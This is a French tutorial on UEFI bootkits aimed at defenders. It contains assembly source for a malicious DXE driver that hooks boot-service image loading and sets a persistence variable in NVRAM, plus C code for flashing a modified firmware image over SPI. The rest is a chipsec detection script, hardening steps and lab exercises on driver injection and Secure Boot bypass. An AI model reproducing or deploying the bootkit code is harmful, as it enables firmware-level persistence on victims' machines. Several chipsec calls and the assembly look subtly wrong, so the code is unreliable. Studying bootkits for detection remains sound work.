Low-Level Maestro Series 2026 | DXE driver injection, SPI flash manipulation, Secure Boot bypass avancé, NVRAM persistence | Pour les cyberdéfenseurs qui veulent comprendre les attaques firmware réelles
Les bootkits UEFI représentent la forme ultime de persistance : ils s'exécutent au niveau du firmware, avant même le chargement de l'OS, survivant aux reformattages de disque et à la plupart des solutions de sécurité traditionnelles.
| Composant | Rôle | Format | Outils d'Analyse |
|---|---|---|---|
| IFWI (Intel) | Firmware complet (CSME + BIOS) | Binaire structuré | Intel FITC, UEFITool NE |
| FD (Firmware Device) | Image flash complète | ROM binary | UEFITool, MCExtract |
| FV (Firmware Volume) | Conteneur de modules | GUID + sections | UEFITool |
| FFS (Firmware File System) | Système de fichiers firmware | Sections nested | UEFITool |
| PEI/DXE Modules | Drivers exécutables | PE32/PE32+ | UEFITool, IDA Pro |
; ====================================================================
; DXE Driver Malveillant – UEFI Bootkit Core
; Format : PE32+ (EFI Application)
; Compilation : NASM + EDK2 (BaseTools) ou gcc avec -fpic -nostdlib
; ====================================================================
[BITS 64]
DEFAULT REL
; GUIDs UEFI Importants
EFI_SYSTEM_TABLE_SIGNATURE equ 0x5453595320494249 ; 'IBI SYST'
EFI_BOOT_SERVICES_SIGNATURE equ 0x56524553544f4f42 ; 'BOOT SERV'
; Structures UEFI (simplifiées)
struc EFI_SYSTEM_TABLE
.Hdr resb 24
.FirmwareVendor resq 1
.FirmwareRevision resd 1
.ConsoleInHandle resq 1
.ConIn resq 1
.ConsoleOutHandle resq 1
.ConOut resq 1
.StandardErrorHandle resq 1
.StdErr resq 1
.RuntimeServices resq 1
.BootServices resq 1
.NumberOfTableEntries resq 1
.ConfigurationTable resq 1
endstruc
struc EFI_BOOT_SERVICES
.Hdr resb 24
.RaiseTPL resq 1
.RestoreTPL resq 1
.AllocatePages resq 1
.FreePages resq 1
.GetMemoryMap resq 1
.AllocatePool resq 1
.FreePool resq 1
.CreateEvent resq 1
.SetTimer resq 1
.WaitForEvent resq 1
.SignalEvent resq 1
.CloseEvent resq 1
.CheckEvent resq 1
.InstallProtocolInterface resq 1
.ReinstallProtocolInterface resq 1
.UninstallProtocolInterface resq 1
.HandleProtocol resq 1
.RegisterProtocolNotify resq 1
.LocateHandle resq 1
.LocateDevicePath resq 1
.InstallConfigurationTable resq 1
.LoadImage resq 1 ; 🚨 CRITIQUE : Chargement d'images
.StartImage resq 1 ; 🚨 CRITIQUE : Démarrage d'images
.Exit resq 1
.UnloadImage resq 1
.ExitBootServices resq 1
endstruc
section .text
; ====================================================================
; Entry Point du DXE Driver
; Conforme à UEFI Driver Model
; ====================================================================
global _DriverEntryPoint
_DriverEntryPoint:
; Sauvegarde du contexte
push rbp
mov rbp, rsp
sub rsp, 40h
; Paramètres : ImageHandle (RCX), SystemTable (RDX)
mov [rel ImageHandle], rcx
mov [rel SystemTable], rdx
; Vérifier la signature SystemTable
mov rax, [rdx]
cmp rax, EFI_SYSTEM_TABLE_SIGNATURE
jne .exit_failure
; Obtenir BootServices
mov rax, [rdx + EFI_SYSTEM_TABLE.BootServices]
mov [rel BootServices], rax
; Installation du hook sur LoadImage
call hook_load_image
; Installation du hook sur StartImage
call hook_start_image
; Persistence via NVRAM Variable
call install_nvram_persistence
; Message de succès (debug)
mov rcx, [rel SystemTable]
mov rcx, [rcx + EFI_SYSTEM_TABLE.ConOut]
lea rdx, [rel success_msg]
call [rcx + 8] ; OutputString
; Retour EFI_SUCCESS
xor eax, eax
.exit:
add rsp, 40h
pop rbp
ret
.exit_failure:
mov eax, 0x80000000 ; EFI_ERROR
jmp .exit
; ====================================================================
; HOOK : LoadImage – Intercepte le chargement des images EFI
; ====================================================================
hook_load_image:
push rbp
mov rbp, rsp
; Sauvegarder l'original LoadImage
mov rax, [rel BootServices]
mov rax, [rax + EFI_BOOT_SERVICES.LoadImage]
mov [rel OriginalLoadImage], rax
; Remplacer par notre fonction
mov rax, [rel BootServices]
lea rcx, [rel HookedLoadImage]
mov [rax + EFI_BOOT_SERVICES.LoadImage], rcx
pop rbp
ret
HookedLoadImage:
; RCX = BootPolicy, RDX = ParentImageHandle, R8 = DevicePath,
; R9 = SourceBuffer, [RSP+28h] = SourceSize, [RSP+30h] = ImageHandle
; Sauvegarde des paramètres
mov [rel saved_rcx], rcx
mov [rel saved_rdx], rdx
mov [rel saved_r8], r8
mov [rel saved_r9], r9
; Appel original
mov rax, [rel OriginalLoadImage]
call rax
; Si succès, vérifier si c'est bootmgfw.efi ou autre bootloader
test rax, rax
jnz .end
; Ici, on pourrait patcher l'image en mémoire
; Par exemple, hooker l'EntryPoint
.end:
ret
; ====================================================================
; Persistence via NVRAM Variable
; ====================================================================
install_nvram_persistence:
push rbp
mov rbp, rsp
; GUID personnalisé pour notre variable
; {8BE4DF61-93CA-11D2-AA0D-00E098032B8C} – EFI_GLOBAL_VARIABLE
lea rcx, [rel variable_guid]
; Attributs : NV, BS, RT (Non-Volatile, BootService, Runtime)
mov rdx, 0x7 ; EFI_VARIABLE_NON_VOLATILE |
; EFI_VARIABLE_BOOTSERVICE_ACCESS |
; EFI_VARIABLE_RUNTIME_ACCESS
; Taille des données
mov r8, persistent_data_end - persistent_data
; Données
lea r9, [rel persistent_data]
; Appel RuntimeServices->SetVariable
mov rax, [rel SystemTable]
mov rax, [rax + EFI_SYSTEM_TABLE.RuntimeServices]
mov rax, [rax + 0x68] ; SetVariable (offset peut varier)
; Variable name
lea r10, [rel variable_name]
mov [rsp + 20h], r10
call rax
pop rbp
ret
; ====================================================================
; DONNÉES
; ====================================================================
section .data
; Variables globales
ImageHandle dq 0
SystemTable dq 0
BootServices dq 0
OriginalLoadImage dq 0
OriginalStartImage dq 0
; Saved parameters
saved_rcx dq 0
saved_rdx dq 0
saved_r8 dq 0
saved_r9 dq 0
; Messages
success_msg du 'DXE Driver installed successfully', 0x0D, 0x0A, 0
; NVRAM persistence
variable_guid db 0x61, 0xDF, 0xE4, 0x8B, 0xCA, 0x93, 0xD2, 0x11,
db 0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x03, 0x2B, 0x8C
variable_name du 'PCTAMALOU-Bootkit', 0
persistent_data db 'Persistence Data - Bootkit Active', 0
persistent_data_end:
; ====================================================================
; SECTION DE RELOCATION (requise pour PE)
; ====================================================================
section .reloc
dd 0 ; Dummy relocation data
/* ====================================================================
* SPI Flash Tool – Lecture/Écriture Firmware
* Pour CH341A ou autres programmateurs SPI
* Compilation : gcc -o spiflash spiflash.c -lusb-1.0
* ==================================================================== */
#include
#include
#include
#include
#include
#include
#define VENDOR_ID 0x1a86 // CH341A
#define PRODUCT_ID 0x5512
// Commandes SPI CH341A
#define CH341A_CMD_SPI_STREAM 0xA8
#define CH341A_CMD_SPI_INIT 0x9B
#define CH341A_CMD_SPI_CS0 0x82
#define CH341A_CMD_SPI_CS1 0x83
// Commandes Flash SPI standard
#define CMD_READ_ID 0x9F
#define CMD_READ_DATA 0x03
#define CMD_WRITE_ENABLE 0x06
#define CMD_WRITE_DISABLE 0x04
#define CMD_PAGE_PROGRAM 0x02
#define CMD_SECTOR_ERASE 0x20
#define CMD_CHIP_ERASE 0xC7
struct ch341a_device {
libusb_device_handle *handle;
uint8_t out_endpoint;
uint8_t in_endpoint;
};
// Initialiser le périphérique CH341A
int ch341a_init(struct ch341a_device *dev) {
libusb_init(NULL);
dev->handle = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID);
if (!dev->handle) {
fprintf(stderr, "Erreur: Périphérique CH341A non trouvé\n");
return -1;
}
// Détacher le driver kernel si nécessaire
if (libusb_kernel_driver_active(dev->handle, 0) == 1) {
libusb_detach_kernel_driver(dev->handle, 0);
}
// Réclamer l'interface
int ret = libusb_claim_interface(dev->handle, 0);
if (ret < 0) {
fprintf(stderr, "Erreur claim interface: %s\n", libusb_error_name(ret));
libusb_close(dev->handle);
return -1;
}
// Configurer les endpoints (CH341A a des endpoints fixes)
dev->out_endpoint = 0x02;
dev->in_endpoint = 0x82;
// Initialiser le mode SPI
uint8_t init_cmd[2] = {CH341A_CMD_SPI_INIT, 0x00};
ch341a_spi_stream(dev, init_cmd, 2, NULL, 0);
printf("CH341A initialisé avec succès\n");
return 0;
}
// Envoyer/Recevoir des données SPI
int ch341a_spi_stream(struct ch341a_device *dev, uint8_t *out_buf,
size_t out_len, uint8_t *in_buf, size_t in_len) {
uint8_t cmd_buf[4096];
int cmd_idx = 0;
// Commande de début de stream
cmd_buf[cmd_idx++] = CH341A_CMD_SPI_STREAM;
// Pour chaque octet à envoyer
for (size_t i = 0; i < out_len; i++) {
cmd_buf[cmd_idx++] = out_buf[i];
}
// Envoyer la commande
int transferred;
int ret = libusb_bulk_transfer(dev->handle, dev->out_endpoint,
cmd_buf, cmd_idx, &transferred, 1000);
if (ret < 0 || transferred != cmd_idx) {
fprintf(stderr, "Erreur envoi SPI: %s\n", libusb_error_name(ret));
return -1;
}
// Lire la réponse si nécessaire
if (in_buf && in_len > 0) {
ret = libusb_bulk_transfer(dev->handle, dev->in_endpoint,
in_buf, in_len, &transferred, 1000);
if (ret < 0) {
fprintf(stderr, "Erreur réception SPI: %s\n", libusb_error_name(ret));
return -1;
}
}
return 0;
}
// Lire le firmware complet
int read_firmware(struct ch341a_device *dev, const char *filename, size_t size) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
perror("Erreur ouverture fichier");
return -1;
}
uint8_t *buffer = malloc(size);
if (!buffer) {
fprintf(stderr, "Erreur allocation mémoire\n");
fclose(fp);
return -1;
}
printf("Lecture du firmware (%zu bytes)...\n", size);
// Lire par blocs de 256 bytes
size_t remaining = size;
size_t offset = 0;
uint8_t read_cmd[4];
while (remaining > 0) {
size_t chunk = (remaining > 256) ? 256 : remaining;
// Commande READ avec adresse
read_cmd[0] = CMD_READ_DATA;
read_cmd[1] = (offset >> 16) & 0xFF;
read_cmd[2] = (offset >> 8) & 0xFF;
read_cmd[3] = offset & 0xFF;
uint8_t read_buffer[256];
// Activer CS0
uint8_t cs_cmd[1] = {CH341A_CMD_SPI_CS0};
ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
// Envoyer commande READ
ch341a_spi_stream(dev, read_cmd, 4, NULL, 0);
// Lire les données
ch341a_spi_stream(dev, NULL, 0, read_buffer, chunk);
// Désactiver CS0
cs_cmd[0] = CH341A_CMD_SPI_CS1;
ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
// Écrire dans le buffer
memcpy(buffer + offset, read_buffer, chunk);
offset += chunk;
remaining -= chunk;
// Afficher la progression
if (offset % (size / 10) == 0) {
printf("Progression: %zu%%\n", (offset * 100) / size);
}
}
// Écrire dans le fichier
fwrite(buffer, 1, size, fp);
fclose(fp);
free(buffer);
printf("Firmware sauvegardé dans %s\n", filename);
return 0;
}
// Écrire un firmware modifié
int write_firmware(struct ch341a_device *dev, const char *filename, size_t size) {
FILE *fp = fopen(filename, "rb");
if (!fp) {
perror("Erreur ouverture fichier");
return -1;
}
uint8_t *buffer = malloc(size);
if (!buffer) {
fprintf(stderr, "Erreur allocation mémoire\n");
fclose(fp);
return -1;
}
fread(buffer, 1, size, fp);
fclose(fp);
printf("Écriture du firmware modifié...\n");
// Activer l'écriture
uint8_t write_enable[1] = {CMD_WRITE_ENABLE};
ch341a_spi_stream(dev, write_enable, 1, NULL, 0);
// Écrire par pages de 256 bytes
for (size_t offset = 0; offset < size; offset += 256) {
size_t chunk = (size - offset > 256) ? 256 : size - offset;
// Commande PAGE PROGRAM
uint8_t cmd[4] = {
CMD_PAGE_PROGRAM,
(offset >> 16) & 0xFF,
(offset >> 8) & 0xFF,
offset & 0xFF
};
// Activer CS0
uint8_t cs_cmd[1] = {CH341A_CMD_SPI_CS0};
ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
// Envoyer commande + données
ch341a_spi_stream(dev, cmd, 4, NULL, 0);
ch341a_spi_stream(dev, buffer + offset, chunk, NULL, 0);
// Désactiver CS0
cs_cmd[0] = CH341A_CMD_SPI_CS1;
ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
// Attendre l'écriture (tW ~ 5ms)
usleep(5000);
if (offset % (size / 10) == 0) {
printf("Progression: %zu%%\n", (offset * 100) / size);
}
}
free(buffer);
printf("Firmware écrit avec succès\n");
return 0;
}
int main(int argc, char *argv[]) {
if (argc < 4) {
printf("Usage: %s \n", argv[0]);
printf("Exemple: %s read backup.bin 16777216\n", argv[0]);
return 1;
}
struct ch341a_device dev;
if (ch341a_init(&dev) < 0) {
return 1;
}
char *action = argv[1];
char *filename = argv[2];
size_t size = strtoul(argv[3], NULL, 10);
if (strcmp(action, "read") == 0) {
read_firmware(&dev, filename, size);
} else if (strcmp(action, "write") == 0) {
printf("ATTENTION: L'écriture peut BRICKER la machine!\n");
printf("Appuyez sur Entrée pour continuer...");
getchar();
write_firmware(&dev, filename, size);
} else {
printf("Action inconnue: %s\n", action);
}
libusb_close(dev.handle);
libusb_exit(NULL);
return 0;
}
#!/usr/bin/env python3
"""
Chipsec Analysis Script - UEFI Bootkit Detection
Requires: chipsec (pip install chipsec)
Run as Administrator/root
"""
import chipsec.chipset
import chipsec.hal.uefi
import chipsec.hal.spi
import chipsec.hal.ucode
from chipsec.helper.oshelper import helper
import struct
import hashlib
import json
from datetime import datetime
class UEFIBootkitScanner:
def __init__(self):
self.cs = chipsec.chipset.cs()
self.cs.init(None, None, True)
self.helper = helper()
self.findings = []
def scan_spi_flash(self):
"""Analyse la SPI flash pour détecter des modifications"""
print("[*] Scanning SPI flash...")
try:
# Lire le BIOS région
bios_region = self.cs.spi.read_spi(0, 0x100000) # 1MB
# Calculer le hash
bios_hash = hashlib.sha256(bios_region).hexdigest()
# Vérifier les patterns connus de bootkits
patterns = {
"bootkit_dxe": b"\x55\x48\x89\xE5\x48\x83\xEC\x20", # DXE hook pattern
"nvram_persistence": b"PCTAMALOU-Bootkit",
"modified_bootmgfw": b"\x4D\x5A\x90\x00\x03\x00\x00\x00", # PE header
}
for name, pattern in patterns.items():
if pattern in bios_region:
self.add_finding("CRITICAL", f"Pattern {name} found in SPI flash")
except Exception as e:
self.add_finding("ERROR", f"SPI scan failed: {str(e)}")
def scan_uefi_variables(self):
"""Analyse les variables NVRAM UEFI"""
print("[*] Scanning UEFI variables...")
try:
uefi = chipsec.hal.uefi.UEFI(self.cs)
variables = uefi.list_EFI_variables()
suspicious_vars = []
for var in variables:
var_name, var_guid = var
var_data = uefi.get_EFI_variable(var_name, var_guid)[0]
# Recherche de variables suspectes
if b"bootkit" in var_name.lower() or b"malware" in var_name.lower():
suspicious_vars.append(var_name.decode('utf-8', errors='ignore'))
# Vérifier les tailles anormales
if len(var_data) > 4096: # Variables > 4KB suspectes
self.add_finding("WARNING",
f"Large UEFI variable: {var_name} ({len(var_data)} bytes)")
if suspicious_vars:
self.add_finding("CRITICAL",
f"Suspicious UEFI variables found: {suspicious_vars}")
except Exception as e:
self.add_finding("ERROR", f"UEFI variables scan failed: {str(e)}")
def scan_dxe_drivers(self):
"""Analyse les DXE drivers en mémoire"""
print("[*] Scanning DXE drivers...")
try:
# Utiliser Chipsec pour énumérer les modules DXE
from chipsec.hal.uefi import EFI_SECTION, EFI_FILE
# Cette partie nécessite un parsing avancé du firmware
# Simulons avec une recherche de patterns
memory_map = self.cs.mem.get_memory_map()
for entry in memory_map:
start, end, mem_type = entry
if mem_type == "EfiBootServicesCode":
# Region contenant du code DXE
self.add_finding("INFO",
f"DXE region found: 0x{start:016X}-0x{end:016X}")
except Exception as e:
self.add_finding("ERROR", f"DXE scan failed: {str(e)}")
def scan_secure_boot(self):
"""Vérifie l'état de Secure Boot"""
print("[*] Checking Secure Boot status...")
try:
from chipsec.hal.uefi import SecureBoot
sb = SecureBoot(self.cs)
enabled = sb.is_secure_boot_enabled()
if not enabled:
self.add_finding("WARNING", "Secure Boot is DISABLED")
else:
self.add_finding("INFO", "Secure Boot is ENABLED")
# Vérifier les clés
db_keys = sb.get_db()
if not db_keys:
self.add_finding("WARNING", "No Secure Boot keys found")
except Exception as e:
self.add_finding("ERROR", f"Secure Boot check failed: {str(e)}")
def scan_smm(self):
"""Analyse SMM (System Management Mode)"""
print("[*] Scanning SMM...")
try:
# Vérifier les handlers SMM
smram_base = self.cs.mem.get_SMRAM_base()
if smram_base:
self.add_finding("INFO", f"SMRAM base: 0x{smram_base:016X}")
# Rechercher des vulnérabilités SMM
from chipsec.hal.smm import SMM
smm = SMM(self.cs)
# Vérifier SMM_BWP (SMM Write Protection)
smm_bwp = smm.check_SMM_Code_Chk_En()
if not smm_bwp:
self.add_finding("CRITICAL", "SMM Write Protection DISABLED")
except Exception as e:
self.add_finding("ERROR", f"SMM scan failed: {str(e)}")
def add_finding(self, severity, description):
"""Ajoute une découverte au rapport"""
finding = {
"timestamp": datetime.now().isoformat(),
"severity": severity,
"description": description
}
self.findings.append(finding)
print(f"[{severity}] {description}")
def generate_report(self):
"""Génère un rapport JSON des découvertes"""
report = {
"scan_date": datetime.now().isoformat(),
"system_info": {
"platform": self.cs.cs().Chipset_Detected,
"bios_version": self.cs.cs().BIOSVersion
},
"findings": self.findings,
"summary": {
"critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
"warning": len([f for f in self.findings if f["severity"] == "WARNING"]),
"info": len([f for f in self.findings if f["severity"] == "INFO"])
}
}
with open("uefi_scan_report.json", "w") as f:
json.dump(report, f, indent=2)
print(f"\n[*] Report generated: uefi_scan_report.json")
print(f" Findings: {report['summary']['critical']} critical, "
f"{report['summary']['warning']} warnings, "
f"{report['summary']['info']} info")
def run_full_scan(self):
"""Exécute un scan complet"""
print("=== UEFI Bootkit Scanner 2026 ===")
print(f"Platform: {self.cs.cs().Chipset_Detected}")
print(f"BIOS: {self.cs.cs().BIOSVersion}\n")
self.scan_spi_flash()
self.scan_uefi_variables()
self.scan_dxe_drivers()
self.scan_secure_boot()
self.scan_smm()
self.generate_report()
if __name__ == "__main__":
scanner = UEFIBootkitScanner()
scanner.run_full_scan()
Activer Secure Boot avec clés de plateforme personnalisées, utiliser dbx (revocation list) à jour, désactiver le chargement de drivers non signés.
Activer Verified Boot et Measured Boot avec TPM 2.0. Boot Guard vérifie chaque étape du boot via signatures cryptographiques.
Utiliser AMD's Hardware Validated Boot avec fTPM. Empêche l'exécution de code non autorisé dès la phase SEC.
Activer les bits de protection BIOS_WE, BIOS_LOCK, SMM_BWP. Empêche l'écriture sur la SPI flash sans autorisation SMM.
Déployer Chipsec en production pour le monitoring runtime du firmware. Détection des modifications NVRAM, hooks SMM, etc.
Implémenter une racine de confiance hardware (Discrete TPM, Intel PTT, AMD fTPM) avec attestation remote.
# 1. Vérifier l'état de Secure Boot (Linux)
$ mokutil --sb-state
$ efivar -l | grep -i secure
# 2. Vérifier les clés UEFI
$ efi-readvar -v PK # Platform Key
$ efi-readvar -v KEK # Key Exchange Keys
$ efi-readvar -v db # Signature Database
$ efi-readvar -v dbx # Revoked Signatures
# 3. Analyser le firmware avec Chipsec
$ chipsec_main -m common.bios_wp
$ chipsec_main -m common.secureboot.variables
$ chipsec_main -m common.smm
# 4. Vérifier les protections SPI
$ chipsec_main -m common.bios_wp
$ chipsec_main -m common.spi_desc
# 5. Dump et vérifier le firmware
$ flashrom -p internal -r backup.bin
$ sha256sum backup.bin
$ uefitool backup.bin
# 6. Windows: vérifier Secure Boot
> Confirm-SecureBootUEFI
> Get-SecureBootPolicy
> Get-SecureBootUEFI db
# 7. Script PowerShell de vérification
Get-WmiObject -Namespace root\wmi -Class SecureBootUEFI |
Select-Object SecureBoot, SetupMode, PK, KEK, db, dbx
# 8. Configurer Secure Boot strict
# Via Setup UEFI:
# - Activer Secure Boot
# - Mode: Custom
# - Supprimer les clés Microsoft
# - Ajouter ses propres clés PK/KEK/db
# - Activer les options avancées:
# - Boot Guard
# - TPM Measurement
# - SPI Write Protection
# chipsec_config.ini - Configuration production monitoring
[general]
platform = auto
logger = file
log_file = /var/log/chipsec/chipsec.log
json_report = true
[modules]
# Modules de sécurité critiques
common.bios_wp = true # BIOS Write Protection
common.secureboot.variables = true
common.smm = true # SMM protections
common.spi_lock = true # SPI flash lock
common.uefi.access_uefispec = true
common.uefi.s3bootscript = true # S3 Boot Script protection
# Modules de détection de bootkit
common.uefi.smm_dma = true
common.uefi.var_check = true
common.uefi.secure_var = true
common.memconfig = true
# Fréquence d'exécution
scan_interval = 3600 # 1 heure
alert_threshold = medium
[alerts]
# Configuration des alertes
email_alerts = true
email_server = smtp.company.com
email_recipients = soc@company.com
syslog_alerts = true
syslog_server = 192.168.1.100
webhook_alerts = true
webhook_url = https://soc.company.com/api/alerts
[signatures]
# Signatures de bootkits connus
bootkit_patterns =
patterns/bootmgfw_hooks.pat,
patterns/dxe_injection.pat,
patterns/smm_hooks.pat
custom_patterns =
patterns/corporate_certs.pat
[compliance]
# Conformité aux standards
nist_800-193 = true
disa_stig_uefi = true
cis_benchmark = true
# Script de réponse automatique
response_script = /opt/chipsec/response.sh
Objectif : Analyser un dump firmware et identifier les composants.
Objectif : Développer un driver DXE simple et l'injecter.
# Étapes de l'exercice :
1. Écrire un DXE driver "Hello World" en C avec EDK2
2. Compiler en PE32+ avec signatures de test
3. Extraire le firmware cible avec UEFITool
4. Injecter le driver dans un Firmware Volume
5. Reconstruire l'image firmware
6. Tester dans une VM QEMU/OVMF
7. Vérifier l'exécution au boot
Objectif : Contourner Secure Boot dans un environnement contrôlé.
Objectif : Développer un module Chipsec de détection.
# Module Chipsec personnalisé
from chipsec.module_common import BaseModule, ModuleResult
class BootkitDetector(BaseModule):
def __init__(self):
BaseModule.__init__(self)
def check_dxe_hooks(self):
# Scanner la mémoire pour hooks DXE
# Rechercher des sauts vers régions non signées
pass
def check_smm_vulnerabilities(self):
# Vérifier les protections SMM
# SMM_BWP, SMM_Code_Chk_En, etc.
pass
def run(self, module_argv):
self.logger.start_test("Bootkit Detection")
# Exécuter les checks
self.check_dxe_hooks()
self.check_smm_vulnerabilities()
return ModuleResult.PASSED
Les bootkits UEFI représentent la forme la plus avancée de persistance malveillante, opérant en dessous du système d'exploitation et survivant aux mesures de sécurité traditionnelles. En 2026, la bataille entre attaquants et défenseurs se déplace de plus en plus vers le firmware.